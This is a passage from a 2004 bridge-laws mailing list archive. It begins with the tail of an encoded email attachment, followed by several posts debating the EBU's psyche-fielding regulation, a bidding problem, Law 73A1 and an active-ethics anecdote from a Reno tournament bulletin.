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 ------=_NextPart_000_0010_00006AF2.0000298D-- From john@asimere.com Sun Mar 28 19:55:40 2004 From: john@asimere.com (John (MadDog) Probst) Date: Sun, 28 Mar 2004 19:55:40 +0100 Subject: [blml] Psyches In-Reply-To: <00a301c414aa$0ebf2420$91f8f1c3@LNV> References: <00a301c414aa$0ebf2420$91f8f1c3@LNV> Message-ID: In article <00a301c414aa$0ebf2420$91f8f1c3@LNV>, Ton Kooijman writes >*** >why do you complain? it's not a matter of law but a matter of ebu's >regulations. they seemed to need something to regulate psyches, they chose >this sort of "rule of coincidence": they define what is "fielding" and >when there is "fielding" they score 30/60. it fits the british way of >life, all ebu members are happy with it, they don't insist to extend it to >other SO. where is the problem? > There is a view held by some EBU TDs that the "rule of coincidence" is illegal. John > > -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Sun Mar 28 19:57:13 2004 From: john@asimere.com (John (MadDog) Probst) Date: Sun, 28 Mar 2004 19:57:13 +0100 Subject: [blml] Servant of the secret fire In-Reply-To: References: Message-ID: <6fn$rpCJAyZAFwVu@asimere.com> In article , richard.hills@immi.gov.au writes > > > > >Spingold Final. >Your side is trailing by 53 imps with >only 16 boards to play. > >Dlr: N >Vul: EW > >WEST NORTH EAST SOUTH >--- Pass Pass ? > >You, South, hold: > >JT87 >53 >JT62 >J98 > >What call do you make? >What other calls do you consider making? 2 diamonds is about as pre-emptive as one should get on this hand. John > >Best wishes > >Richard James Hills >------------------------------------------------------------------------= -------- >------ > Important Warning: If you have received this email in error, please >advise the sender and delete the message and attachments immediately. =A0= This >email, including attachments, may contain confidential, legally privileg= ed >and/or copyright information, the unauthorised use of which is prohibite= d. >Any views expressed in this email are those of the individual sender, >except where the sender expressly, and with authority, states them to be >the view of the Department of Immigration and Multicultural and Indigeno= us >Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations unde= r the >Privacy Act 1988 (see www.immi.gov.au). >------------------------------------------------------------------------= -------- >------ > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml --=20 John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From blml@blakjak.com Sun Mar 28 20:46:29 2004 From: blml@blakjak.com (David Stevenson) Date: Sun, 28 Mar 2004 20:46:29 +0100 Subject: [blml] Psyches In-Reply-To: <406545FC.90309@hdw.be> References: <406545FC.90309@hdw.be> Message-ID: <5VexpUTVuyZAFwUj@blakjak.demon.co.uk> Herman De Wael wrote >jean-pierre.rocafort@meteo.fr wrote: >> *** >> why do you complain? it's not a matter of law but a matter of ebu's >>regulations. they seemed to need something to regulate psyches, they >>chose this sort of "rule of coincidence": they define what is >>"fielding" and when there is "fielding" they score 30/60. it fits the >>british way of life, all ebu members are happy with it, they don't >>insist to extend it to other SO. where is the problem? >> > >The problem arises when people who should know better defend this >policy rather than agree that it goes against the Laws of bridge. Actually, Herman, there are two reasons why people disagree with you. either they are wrong, or you are wrong. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Sun Mar 28 22:59:56 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 29 Mar 2004 07:59:56 +1000 Subject: [blml] One lump or two? Message-ID: John R. Mayne: [snip] >(On the other issue, my position is that >fielding is likely to show a CPU, but not >necessarily - if there are wrong-way fields >on similar hands opposite non-psychs, and >there is full disclosure of methods and >style, there's no adjustment.) Richard James Hills: In my posed case, the 1S call was a CPU infraction. Ipso facto the partnership have not fully disclosed their methods on that particular deal. Suppose the same partnership have the same auction on a subsequent round. But this time East opens a legitimate 1S and South again overcalls 1NT. West misfields a Pass with 11 hcp balanced, but now it is North (not East) who holds a Yarborough. On that subsequent round, East's 1S opening bid is in accordance with the announced SAYC methods of the East-West partnership. So, on that subsequent round, East cannot have infracted Law 40A or Law 40B. However, I join with the WBF in still deeming West's misfielding Pass as "unacceptable". In my not-strongly-held opinion, West's misfielding Pass is an infraction of Law 73A1. In my not-strongly-held opinion, West did not base their misfielding Pass "during the auction ..... only by means of the calls ..... themselves." Rather, in my not- strongly-held opinion, West's misfielding Pass was based upon information which had occurred during *previous* auctions. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Sun Mar 28 23:44:50 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 29 Mar 2004 08:44:50 +1000 Subject: [blml] treat non-offenders severely Message-ID: David Stevenson wrote: >>When I suggested this seemed unreasonable, Rich >>Colker said to me: >> >>"You do not understand, David, in North America >>there is a lot of professionalism, and that is >>why we do this." >> >>No, I do not understand! Richard James Hills encourages: The ACBL obsession with "protecting the field" from "windfalls" to the non-offending side seems to be diminishing, with a sea-change into something rich and strange. Reno Daily Bulletin, Saturday March 27th 2004: >Minus 2800 via Active Ethics > >Bill Glass and Jim Steelquist came up against a >pair that was using a Forcing Diamond. They >agreed to play that a double of 1D would show the >majors and a 1NT overcall would show the minors. > >On the second deal, the opponents opened 1D and >Glass overcalled 1NT. "Alert," said Steelquist. >"Partner is 5-5 in the majors." Then he bid 2H. >Glass knew he had unauthorized information, so he >passed, but Steelquist redoubled. Once again >Glass passed, and a few moments later he was >writing down minus 2800 on his scorecard. > >Later a tournament director came over to make >sure the score was correct. When he discovered it >was correct and how it happened, he congratulated >Glass for his fine act of Active Ethics. Best wishes RJH PS That Reno bulletin also reveals blmler Marvin French cleverly playing a squeeze. -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright 